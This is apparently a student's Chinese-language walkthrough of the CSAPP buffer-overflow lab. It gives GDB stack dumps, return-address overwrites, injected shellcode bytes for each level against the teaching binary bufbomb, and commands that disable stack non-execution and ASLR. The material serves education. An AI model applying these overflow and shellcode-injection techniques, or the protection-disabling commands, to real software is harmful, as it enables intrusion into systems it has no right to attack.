我发现我做的实验 3 和网上的都不太一样,难道这实验有新老版本之分?不过主题都是一致的:利用缓冲区溢出的漏洞进行攻击。
CSAPP LAB 实验
如果你曾经做过 Lab2,那么阅读汇编代码将会很轻松。
实验简介
名称:缓冲区溢出炸弹
实验代码:
makecookie
:生成 cookie,后续实验用到,以判断实验是否成功。例:./makecookie SA18225155
生成 cookie
bufbomb
:可执行程序 - 攻击对象
sendstring
: 字符格式转换
bufbomb 程序
bufbomb
中包含一个 getbuf
函数,该函数实现如下:
1 2 3 4 5 6 int getbuf () { char buf[12 ]; Gets(buf); return 1 ; }
可以发现,这个函数对 buf 没有越界检查(这是常见的 c 编程错误),当输入超过 11 个字符将溢出。溢出的字符将覆盖栈帧上的数据,特别的,会覆盖程序调用的返回地址。这赋予我们控制程序流程的能力,我们可以通过构造溢出字符串,程序将“返回”至我们想要的代码上。
执行以下命令进行反汇编:
1 objdump -d bufbomb > bufbomb.s
观察汇编代码,结合栈帧结构进行理解:
1 2 3 4 5 6 7 8 9 10 11 12 0 8048fe0 <getbuf>: 8048 fe0: 55 push %ebp 8048 fe1: 89 e5 mov %esp,%ebp 8048 fe3: 83 ec 18 sub $0 x18,%esp # 缓冲区分配 8048 fe6: 8 d 45 f4 lea -0 xc(%ebp),%eax # 请注意这一行 8048 fe9: 89 0 4 24 mov %eax,(%esp) 8048 fec: e8 6 f fe ff ff call 8048e60 <Gets> 8048 ff1: b8 0 1 0 0 0 0 0 0 mov $0 x1,%eax 8048 ff6: c9 leave 8048 ff7: c3 ret 8048 ff8: 90 nop 8048 ff9: 8 d b4 26 0 0 0 0 0 0 0 0 lea 0 x0(%esi,%eiz,1 ),%esi
sendstring 字符串转换程序
它的功能是将 16 进制的数据转换为 ASCII 字符串。比如:41 42 43
转换为 ABC
。
因为 bufbomb
接收的参数是 ASCII 字符串,我们输入的字符串使用了扩展的 ASCII 码(128~255)难以直接输入。
所以实验的基本流程为:
在一个文件,如 exploit.txt
写好十六进制数据
执行命令得到字符文件:./sendstring < exploit.txt > exploit-raw.txt
运行 bufbomb 程序:bufbomb -t <your_number> < exploit-raw.txt
。<your_number>
填写你的学号以验证 cookie。
当然,我们也可以通过手动输入(从标准输入设备输入)的方式:ALT +ASC 码的十进制数(小键盘输入)。注意,最后一个数字按下后与 ALT 键同时放开。例如输入字符“1”为 ALT+49
我感觉我们的实验时阉割版,不启用评分系统。和 Lab2 不一样的是,bufbomb 是运行 1 次解开对应 Level。如果有 4 个 Level 我们可能需要写 4 个 exploit.txt。但不管怎样,基本思路是一致的。
GDB
GDB 的使用详见:CSAPP LAB-2 二进制炸弹实验 。这里新学一个命令:examine
查看内存地址中的值(简写为 x
)。x
命令的语法如下所示:
x/<n/f/u> <addr>
n
、f
、u
是可选的参数:
n
是一个正整数,表示显示内存的长度,也就是说从当前地址向后显示几个地址的内容。
f
表示显示的格式,参见上面。如果地址所指的是字符串,那么格式可以是 s
,如果 地址是指令地址,那么格式可以是 i。
u
表示从当前地址往后请求的字节数,如果不指定的话,GDB 默认是 4 个 bytes。u
参数可以用下面的字符来代替:b
表示单字节,h
表示双字节,w
表示四字 节,g
表示八字节。当我们指定了字节长度后,GDB 会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来。
例子:
1 2 3 4 5 6 7 (gdb) x/48 xb $ebp 0 xffffba40: 0 x4c 0 xba 0 xff 0 xff 0 x74 0 x2b 0 xdf 0 xf70 xffffba48: 0 x0b 0 x38 0 xe3 0 xf7 0 x41 0 x42 0 x43 0 x440 xffffba50: 0 x45 0 x46 0 x47 0 x48 0 x49 0 x4a 0 x4b 0 x000 xffffba58: 0 x78 0 xba 0 xff 0 xff 0 x1e 0 x90 0 x04 0 x080 xffffba60: 0 x03 0 x00 0 x00 0 x00 0 xc7 0 x9a 0 x04 0 x080 xffffba68: 0 x84 0 xba 0 xff 0 xff 0 x60 0 x90 0 xf2 0 xf7
一些汇编指令参考
不一定全都用到:
call 地址
:返回地址入栈(等价于 push %eip;mov 地址,%eip
;注意 eip
指向下一条尚未执行的指令)
ret
:从栈中弹出地址,并跳到那个地址(pop %eip)
leave
:使栈做好返回准备,等价于 mov %ebp, %esp; pop %ebp
push
:R[%esp]<--R[%esp]-4; M[R[%esp]]<--S
pop
: D<--M[R[%esp]]; R[%esp]<--R[%esp]+4;
实验开始
Level 0 - 蜡烛
本层考察地址跳转。
炸弹的主体函数 test
为:
1 2 3 4 5 6 7 8 9 10 11 12 13 void test () { int val; volatile int local = 0xdeadbeef ; entry_check(3 ); val = getbuf(); if (local != 0xdeadbeef ) { printf ("Sabotaged!: the stack has been corrupted\n" ); } else if (val == cookie) { ... }
正常运行的结果为:
1 2 Type string: <随便输入小于11个字符的字符串> Better luck next time
smoke
是 bufbomb
中一个正常情况下不会被执行的函数:
1 2 3 4 5 6 7 void smoke () { entry_check(0 ); printf ("Smoke!: You called smoke()\n" ); validate(0 ); exit (0 ); }
我们的目标:在 getbuf
返回时跳到 smoke
函数执行。
思路:
通过调试得到我们输入的字符串首地址,并打印出该字符串作验证 x/s $ebp-0xc
找到函数 smoke
的地址 p/x &smoke
;或者直接在反编译文件中搜索 smoke
函数地址即可。
用 smoke
函数的地址覆盖 getbuf
的返回地址。
我们先简单测试一个不会造成缓冲区溢出的正常字符串:41 42 43 44 45 46 47 48 49 4a 4b
11 个字符加上末尾 \0
。
GDB 调试,在 getbuf 函数返回前,检查%esp:
1 2 3 4 5 6 7 8 9 10 11 12 13 ; (gdb) p /x $esp ; $2 = 0 xffffba40 ⏩ (gdb) p /x $ebp $9 = 0 xffffba58 ▶ ; (gdb) x/48 xb $esp ; 0 xffffba40:⏩ 0 x4c 0 xba 0 xff 0 xff 0 x74 0 x2b 0 xdf 0 xf7 ; 0 xffffba48: 0 x0b 0 x38 0 xe3 0 xf7 😀0 x41 0 x42 0 x43 0 x44 ; 0 xffffba50: 0 x45 0 x46 0 x47 0 x48 0 x49 0 x4a 0 x4b 0 x00😉 ; 0 xffffba58:▶ 0 x78 0 xba 0 xff 0 xff ❤0 x1e 0 x90 0 x04 0 x08❤ ; 0 xffffba60: 0 x03 0 x00 0 x00 0 x00 0 xc7 0 x9a 0 x04 0 x08 ; 0 xffffba68: 0 x84 0 xba 0 xff 0 xff 0 x60 0 x90 0 xf2 0 xf7
😀标记处,也就是汇编代码中的 -0xc(%ebp)
就是缓冲区开始地址。😉标记缓冲区结束的位置。
❤标记的 0x1e 0x90 0x04 0x08
是地址 0x0804901e
小端编码后的结果,指向返回 test 地址(因为 test 调用 getbuf)。
那我们利用缓冲区溢出取覆盖掉这个地址就行,让他指向 smoke 函数。观察反汇编的代码 bufbomb.s
容易知道 smoke 函数地址为:0x08048e20
,小端写法:20 8e 04 08
。所以,exploit0.txt
为:
1 41 42 43 44 45 46 47 48 49 4a 4b 4c ff ff ff ff 20 8e 04 08
gdb 重新运行 bufbomb 我们可以观察注入后的栈帧:
1 2 3 4 5 6 7 8 ; 注入后: ; (gdb) x/48 xb $esp ; 0 xffffba40:⏩ 0 x4c 0 xba 0 xff 0 xff 0 x74 0 x2b 0 xdf 0 xf7 ; 0 xffffba48: 0 x0b 0 x38 0 xe3 0 xf7 😀0 x41 0 x42 0 x43 0 x44 ; 0 xffffba50: 0 x45 0 x46 0 x47 0 x48 0 x49 0 x4a 0 x4b 0 x4c ; 0 xffffba58:▶ 0 xff 0 xff 0 xff 0 xff ❤0 x20 0 x8e 0 x04 0 x08❤ ; 0 xffffba60: 0 x00 0 x00 0 x00 0 x00 0 xc7 0 x9a 0 x04 0 x08 ; 0 xffffba68: 0 x84 0 xba 0 xff 0 xff 0 x60 0 x90 0 xf2 0 xf7
运行结果如下:
1 Type string:Smoke!: You called smoke()
Level 1 - 烟火
本层考察函数传参。
bufbomb 存在另一个函数 fizz:
1 2 3 4 5 6 7 8 9 10 void fizz (int val) { entry_check(1 ); if (val == cookie) { printf ("Fizz!: You called fizz(0x%x)\n" , val); validate(1 ); } else printf ("Misfire: You called fizz(0x%x)\n" , val); exit (0 ); }
目标:“返回”到该函数并传送参数 cookie。Cookie 为上文提到的 makecookie
程序结合自己学号生成 ./makecookie SA08225155
。
fizz 的地址为 0x08048dc0
,小端写法:c0 8d 04 08
。所以参照 Level 0,得到 exploit 的基本写法为:
1 41 42 43 44 45 46 47 48 49 4a 4b 4c ff ff ff ff c0 8d 04 08
继续阅读反汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 0 8048dc0 <fizz>: 8048 dc0: 55 push %ebp 8048 dc1: 89 e5 mov %esp,%ebp 8048 dc3: 53 push %ebx 8048 dc4: 83 ec 14 sub $0 x14,%esp 8048 dc7: 8 b 5 d 0 8 mov 0 x8(%ebp),%ebx # 不要看错为-0 x8(%ebp) # 0 x8(%ebp) 0 x8049ac7 -> ; (gdb) p (char *) 0 x8049ac7 ; $99 = 0 x8049ac7 "Type string:" 8048 dca: c7 0 4 24 0 1 0 0 0 0 0 0 movl $0 x1,(%esp) 8048 dd1: e8 ca fb ff ff call 80489 a0 <entry_check> 8048 dd6: 3 b 1 d cc a1 0 4 0 8 cmp 0 x804a1cc,%ebx # 0 x804a1cc 存储的是cookie字符串 0 x2ac98515 对应我的学号 8048 ddc: 74 22 je 8048e0 0 <fizz+0 x40> # 要想成功,必须相等 8048 dde: 89 5 c 24 0 4 mov %ebx,0 x4(%esp) 8048 de2: c7 0 4 24 98 98 0 4 0 8 movl $0 x8049898,(%esp) # 传入字符串:"Misfire: You called fizz(0x%x)\n" ; (gdb) p (char *) 0 x8049898 ; $53 = 0 x8049898 "Misfire: You called fizz(0x%x)\n" 8048 de9: e8 76 f9 ff ff call 8048764 <printf@plt > 8048 dee: c7 0 4 24 0 0 0 0 0 0 0 0 movl $0 x0,(%esp) 8048 df5: e8 aa f9 ff ff call 80487 a4 <exit@plt > 8048 dfa: 8 d b6 0 0 0 0 0 0 0 0 lea 0 x0(%esi),%esi 8048e0 0: 89 5 c 24 0 4 mov %ebx,0 x4(%esp) 8048e0 4: c7 0 4 24 29 9 a 0 4 0 8 movl $0 x8049a29,(%esp) # 传入字符串" Fizz!: You called fizz(0x%x)\n" ; (gdb) p (char *) 0 x8049a29 ; $54 = 0 x8049a29 "Fizz!: You called fizz(0x%x)\n" <- 这个才是成功的 8048e0 b: e8 54 f9 ff ff call 8048764 <printf@plt > 8048e10 : c7 0 4 24 0 1 0 0 0 0 0 0 movl $0 x1,(%esp) 8048e17 : e8 c4 fc ff ff call 8048 ae0 <validate> 8048e1 c: eb d0 jmp 8048 dee <fizz+0 x2e> 8048e1 e: 89 f6 mov %esi,%esi
我们知道,要想成功,必须在跳转到 fizz
函数后,传入参数(参数值为自己的 cookie)。这个参数保存在 0x8(%ebp)
中。老方法,直接覆盖即可:
1 41 42 43 44 45 46 47 48 49 4a 4b 4c ff ff ff ff c0 8d 04 08 ee ee ee ee 15 85 c9 2a
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 (gdb) p /x $esp $1 = 0 xffffba44 (gdb) p /x $ebp $2 = 0 xffffba5c (gdb) x/60 xb $esp 0 xffffba44:⏩ 0 x74 0 x2b 0 xdf 0 xf7 0 x0b 0 x38 0 xe3 0 xf70 xffffba4c: 0 x41 0 x42 0 x43 0 x44 0 x45 0 x46 0 x47 0 x480 xffffba54: 0 x49 0 x4a 0 x4b 0 x4c 0 x00 0 x00 0 x00 0 x000 xffffba5c:▶ 0 xff 0 xff 0 xff 0 xff 0 xee 0 xee 0 xee 0 xee0 xffffba64: ❤0 x15 0 x85 0 xc9 0 x2a❤ 0 x00 0 xba 0 xff 0 xff0 xffffba6c: 0 x60 0 x90 0 xf2 0 xf7 0 x86 0 x91 0 xf2 0 xf70 xffffba74: 0 xef 0 xbe 0 xad 0 xde 0 x98 0 xcc 0 xff 0 xff0 xffffba7c: 0 x05 0 x91 0 x04 0 x08
运行结果如下:
1 Type string:Fizz!: You called fizz(0x2ac98515)
Level 2 - 鞭炮【选做】
本层考察指令注入。
这一层我们需要跳转到另一个函数:
1 2 3 4 5 6 7 8 9 10 11 int global_value = 0 ; void bang (int val) { entry_check(2 ); if (global_value == cookie) { printf ("Bang!: You set global_value to 0x%x\n" , global_value); validate(2 ); } else printf ("Misfire: global_value = 0x%x\n" , global_value); exit (0 ); }
与上一层的不同点在于这个函数检查的是全局变量,全局变量存储在一个特定的地址中。
观察反汇编后的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 0 8048d60 <bang>: 8048 d60: 55 push %ebp 8048 d61: 89 e5 mov %esp,%ebp 8048 d63: 83 ec 0 8 sub $0 x8,%esp 8048 d66: c7 0 4 24 0 2 0 0 0 0 0 0 movl $0 x2,(%esp) 8048 d6d: e8 2 e fc ff ff call 80489 a0 <entry_check> 8048 d72: a1 dc a1 0 4 0 8 mov 0 x804a1dc,%eax # 全局变量存放地址(我们需要修改) ; (gdb) p /x *0 x804a1dc ; $5 = 0 x0 8048 d77: 3 b 0 5 cc a1 0 4 0 8 cmp 0 x804a1cc,%eax # cookie存放地址 ; (gdb) p /x *0 x804a1cc ; $6 = 0 x2ac98515 8048 d7d: 74 21 je 8048 da0 <bang+0 x40> 8048 d7f: 89 44 24 0 4 mov %eax,0 x4(%esp) 8048 d83: c7 0 4 24 0 b 9 a 0 4 0 8 movl $0 x8049a0b,(%esp) 8048 d8a: e8 d5 f9 ff ff call 8048764 <printf@plt > 8048 d8f: c7 0 4 24 0 0 0 0 0 0 0 0 movl $0 x0,(%esp) 8048 d96: e8 0 9 fa ff ff call 80487 a4 <exit@plt > 8048 d9b: 90 nop 8048 d9c: 8 d 74 26 0 0 lea 0 x0(%esi,%eiz,1 ),%esi 8048 da0: 89 44 24 0 4 mov %eax,0 x4(%esp) 8048 da4: c7 0 4 24 70 98 0 4 0 8 movl $0 x8049870,(%esp) 8048 dab: e8 b4 f9 ff ff call 8048764 <printf@plt > 8048 db0: c7 0 4 24 0 2 0 0 0 0 0 0 movl $0 x2,(%esp) 8048 db7: e8 24 fd ff ff call 8048 ae0 <validate> 8048 dbc: eb d1 jmp 8048 d8f <bang+0 x2f> 8048 dbe: 89 f6 mov %esi,%esi
程序取全局变量的地址为 0x804a1dc
,这个地址初始值为 0。程序计算好的 cookie 放在 0x804a1cc
,会和全局变量进行比较。我们的任务是实现修改全局变量,我们这时候就需要构造指令,注入代码了。
构造指令的步骤:
写一小段汇编程序 level2.s
编译:gcc -c level2.s
反汇编得到字节码:objdump -d level2.o > level2.d
这段代码如何执行?前面两个实验已经实现了跳转到某个函数地址执行代码,我们可以使其跳转到缓冲区中,执行我们注入的指令。
但是在默认的情况下,栈中的内容不可执行(课本好像讲过相关内容),我们需要使用工具 execstack
接触栈执行的限制:
1 2 3 sudo apt-get install execstack execstack -s bufbomb sysctl -w kernel.randomize_va_space=0
如果不解除限制,后续实验可能会报段错误。
下面编写 level2.s
:
1 2 3 4 movl $0 x2ac98515,0 x804a1dc movl $0 x08048d60,(%rsp) ret
注意汇编代码文件末尾有空行,否则有警告:warning: end of file not at end of a line; newline inserted
上面的汇编代码做了几件事情:
把 cookie 放入全局变量(0x804a1dc
)中
把 bang 的函数地址压栈
返回。(弹栈跳转到指定地址)
使用反汇编工具得到的字节码如下:
1 2 3 4 5 6 7 8 9 10 11 12 level2.o: file format elf64-x86-64 Disassembly of section .text: 0 000000000000000 <.text>: 0 : c7 0 4 25 dc a1 0 4 0 8 movl $0 x2ac98515,0 x804a1dc 7 : 15 85 c9 2 a b: c7 0 4 24 60 8 d 0 4 0 8 movl $0 x8048d60,(%rsp) 12 : c3 retq
因此我们的指令字节为:c7 04 25 dc a1 04 08 15 85 c9 2a c7 04 24 60 8d 04 08 c3
这里先给出本层答案,然后看下面的说明就能理解:
1 41 42 43 44 45 46 47 48 49 4a 4b 4c ff ff ff ff 60 ba ff ff c7 04 25 dc a1 04 08 15 85 c9 2a c7 04 24 60 8d 04 08 c3
执行 getbuff
函数结束前,我们需要看一下栈的地址以便确定跳转到哪里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 (gdb) p /x $esp $1 = 0 xffffba40 ⏩ (gdb) p /x $ebp $2 = 0 xffffba58 ▶ (gdb) x/64 xb $esp 0 xffffba40:⏩ 0 x4c 0 xba 0 xff 0 xff 0 x74 0 x2b 0 xdf 0 xf70 xffffba48: 0 x0b 0 x38 0 xe3 0 xf7 😀0 x41 0 x42 0 x43 0 x440 xffffba50: 0 x45 0 x46 0 x47 0 x48 0 x49 0 x4a 0 x4b 0 x4c😉0 xffffba58:▶ 0 xff 0 xff 0 xff 0 xff ❤0 x60 0 xba 0 xff 0 xff❤0 xffffba60: ☢0 xc7 0 x04 0 x25 0 xdc 0 xa1 0 x04 0 x08 0 x150 xffffba68: 0 x85 0 xc9 0 x2a 0 xc7 0 x04 0 x24 0 x60 0 x8d0 xffffba70: 0 x04 0 x08 0 xc3☢ 0 x00 0 xef 0 xbe 0 xad 0 xde0 xffffba78: 0 x98 0 xcc 0 xff 0 xff 0 x05 0 x91 0 x04 0 x08
上面内容是不是很熟悉,在 Level0 中出现过。😀😉标记就是程序分配的 12 个字节缓冲区,❤标记的是跳转到的目标地址。☢标记的是注入的指令。
因此❤中应填写:0xffffba60
对应的小端编码。
程序结果为:
1 Type string:Bang!: You set global_value to 0x2ac98515
Level 3 - 炸药【选做】
本层为综合发散考察。
关于本层的提示,在上面 3 层的答案中,我们用 ff ff ff ff
把 %ebp
的值覆盖掉了。但这一层不太一样,它会检测 %ebp
的值是否改动。
首先给出了完整的 test 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void test () { int val; volatile int local = 0xdeadbeef ; entry_check(3 ); val = getbuf(); if (local != 0xdeadbeef ) { printf ("Sabotaged!: the stack has been corrupted\n" ); } else if (val == cookie) { printf ("Boom!: getbuf returned 0x%x\n" , val); validate(3 ); } else { printf ("Dud: getbuf returned 0x%x\n" , val); } }
要点:
val
是 getbuf()
的返回值,我们需要修改这个返回值为我们的 cookie
保证程序在取 local
时能正确取到魔数 0xdeadbeef
观察 test 汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 0 8049000 <test>: 8049000 : 55 push %ebp 8049001 : 89 e5 mov %esp,%ebp 8049003 : 83 ec 18 sub $0 x18,%esp 8049006 : c7 45 fc ef be ad de movl $0 xdeadbeef,-0 x4(%ebp) ; %ebp: 0 xffffba78 804900 d: c7 0 4 24 0 3 0 0 0 0 0 0 movl $0 x3,(%esp) 8049014 : e8 87 f9 ff ff call 80489 a0 <entry_check> 8049019 : e8 c2 ff ff ff call 8048 fe0 <getbuf> 804901 e: 89 c2 mov %eax,%edx # %edx 存储 getbuf 返回值 8049020 : 8 b 45 fc mov -0 x4(%ebp),%eax # local = -0 x4(%ebp) 8049023 : 3 d ef be ad de cmp $0 xdeadbeef,%eax 8049028 : 74 0 e je 8049038 <test+0 x38> # 必须相等 804902 a: c7 0 4 24 b8 98 0 4 0 8 movl $0 x80498b8,(%esp) ; (gdb) p (char *) 0 x80498b8 ; $10 = 0 x80498b8 "Sabotaged!: the stack has been corrupted" 8049031 : e8 de f6 ff ff call 8048714 <puts@plt > 8049036 : c9 leave 8049037 : c3 ret 8049038 : 3 b 15 cc a1 0 4 0 8 cmp 0 x804a1cc,%edx # 0 x804a1cc 存储的是cookie字符串 0 x2ac98515 对应我的学号 804903 e: 74 12 je 8049052 <test+0 x52> # 必须相等 8049040 : 89 54 24 0 4 mov %edx,0 x4(%esp) 8049044 : c7 0 4 24 9 b 9 a 0 4 0 8 movl $0 x8049a9b,(%esp) ; (gdb) p (char *) 0 x8049a9b ; $11 = 0 x8049a9b "Dud: getbuf returned 0x%x\n" 804904 b: e8 14 f7 ff ff call 8048764 <printf@plt > 8049050 : c9 leave 8049051 : c3 ret 8049052 : 89 54 24 0 4 mov %edx,0 x4(%esp) 8049056 : c7 0 4 24 7 e 9 a 0 4 0 8 movl $0 x8049a7e,(%esp) # <- 目标字符串 ; (gdb) p (char *) 0 x8049a7e ; $12 = 0 x8049a7e "Boom!: getbuf returned 0x%x\n" 804905 d: e8 0 2 f7 ff ff call 8048764 <printf@plt > 8049062 : c7 0 4 24 0 3 0 0 0 0 0 0 movl $0 x3,(%esp) 8049069 : e8 72 fa ff ff call 8048 ae0 <validate> 804906 e: c9 leave 804906 f: c3 ret
代码观察:
地址 8049006
:观察到,$0xdeadbeef
存储在 -0x4(%ebp)
,此时对应的 %ebp
为: 0xffffba78
,也就是 $0xdeadbeef
存储在 0xffffba74
。
地址 804901e
:%edx
存储 getbuf
返回值
地址 8049020
到 8049028
:将 -0x4(%ebp)
取出来和 $0xdeadbeef
比较。
地址 8049038
到 804903e
:比较 getbuf
返回值和 cookie 是否相等
我们都知道函数执行结果一般放在 %eax
,getbuf
函数也是一样,我们注入的指令,应该要修改 %eax
为我们的 cookie,在 getbuf
压入 test 函数调用时正常返回的位置 0x804901e
。在返回到 test 时会使用 %ebp
,我们的注入代码不应该动这个值。
方案 1:覆盖正确的 %ebp
编写的 level3.s
为:
1 2 3 movl $0x2ac98515,%eax movl $0x804901e,(%rsp) ret
得到的反汇编文件:
1 2 3 4 5 6 7 8 9 10 level3.o: file format elf64-x86-64 Disassembly of section .text: 0 000000000000000 <.text>: 0 : b8 15 85 c9 2 a mov $0 x2ac98515,%eax 5 : c7 0 4 24 1 e 90 0 4 0 8 movl $0 x804901e,(%rsp) c: c3 retq
编写指令做两件事:
修改 getbuf
的返回值
跳转到 test
正确的位置
答案:
1 2 # 答案 1 41 42 43 44 45 46 47 48 49 4a 4b 4c 🔹78 ba ff ff🔹 ❤60 ba ff ff❤ ☢b8 15 85 c9 2a c7 04 24 1e 90 04 08 c3☢
❤标记了指令执行地址,☢标记了注入的指令,🔹标记了覆盖的 %ebp
:0xffffba78
方案 2:指令修改为正确的 %ebp
另外一种答案为在指令中修改正确的 %ebp
的值也是可以的,两者实现的效果是一样的。
编写的 level3.s
为:
1 2 3 4 movl $0 x2ac98515,%eax movl $0 x804901e,(%rsp) movl $0 xffffba78,%ebp ret
反汇编结果:
1 2 3 4 5 6 7 8 9 10 11 12 level3.o: file format elf64-x86-64 Disassembly of section .text: 0 000000000000000 <.text>: 0 : b8 15 85 c9 2 a mov $0 x2ac98515,%eax 5 : c7 0 4 24 1 e 90 0 4 0 8 movl $0 x804901e,(%rsp) c: bd 78 ba ff ff mov $0 xffffba78,%ebp 11 : c3 retq
答案文件 exploit3.txt
为:
1 2 # 答案 2 。其中 zz zz zz zz 为任意十六进制数 41 42 43 44 45 46 47 48 49 4a 4b 4c 🔹zz zz zz zz🔹 ❤60 ba ff ff❤ ☢b8 15 85 c9 2a c7 04 24 1e 90 04 08 ◾bd 78 ba ff ff◾ c3☢
◾标记了新增的指令。
最终 bufbomb
程序结果为:
1 Type string:Boom!: getbuf returned 0x2ac98515
本文参考